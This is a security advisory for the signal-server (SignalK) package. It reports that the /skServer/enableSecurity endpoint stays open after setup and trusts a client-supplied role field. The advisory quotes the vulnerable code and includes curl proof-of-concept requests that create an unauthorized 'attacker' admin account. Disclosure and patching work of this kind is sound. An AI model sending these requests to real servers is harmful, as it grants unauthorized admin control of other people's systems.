

# Privilege Escalation by Admin Role Injection via /enableSecurity

**Critical** tkurki published **GHSA-x8hc-fqv3-7gwf** 2 days ago

## Package

 **signal-server** ([npm](#))

### Affected versions

All versions prior to a fix

### Patched versions

v2.24.0-beta.4

## Description

### Summary

According to SignalK's security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.

However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open.

Furthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.

### Vulnerable Root Cause

File: `src/serverroutes.ts` (Lines 685-754)

```
if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {
  app.post(
    `${SERVERROUTESPREFIX}/enableSecurity`,
    (req: Request, res: Response) => {
```



```
// ...
function addUser(request: Request, response: Response, securityStrategy:
SecurityStrategy, config?: any) {
    // [!VULNERABLE] Passes the entire JSON request body directly to the
security strategy
    securityStrategy.addUser(config, request.body, (err, theConfig) => {
        // ...
    })
}
}
// ... No code disables or removes this route after first execution.
// The conditional check on Line 685 only happens during server startup,
```

File: src/tokensecurity.ts (Lines 980-994)

```
function addUser(
    theConfig: SecurityConfig,
    user: { userId: string; type: string; password?: string },
    callback: ICallback<SecurityConfig>
): void {
    // ...
    const newUser: User = {
        username: user.userId,
        type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field
    }
}
```



## Proof of Concept (PoC)

**Simulate Legitimate Initial Setup:** Send a POST request to the open enableSecurity route defining the initial legitimate admin account.

```
curl -X POST http://localhost:3000/skServer/enableSecurity \
-H "Content-Type: application/json" \
-d '{"userId": "admin", "password": "securepassword", "type": "admin"}'
```



Result: Security enabled

**Inject Malicious Admin:** Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.

```
curl -X POST http://localhost:3000/skServer/enableSecurity \
-H "Content-Type: application/json" \
-d '{"userId": "attacker", "password": "password123", "type": "admin"}'
```



Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).



Integrity

High

Availability

Low

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

---

### CVE ID

CVE-2026-33950

---

### Weaknesses

- ▶ CWE-285
- ▶ CWE-288
- ▶ CWE-862

---

### Credits



VashuVats

Reporter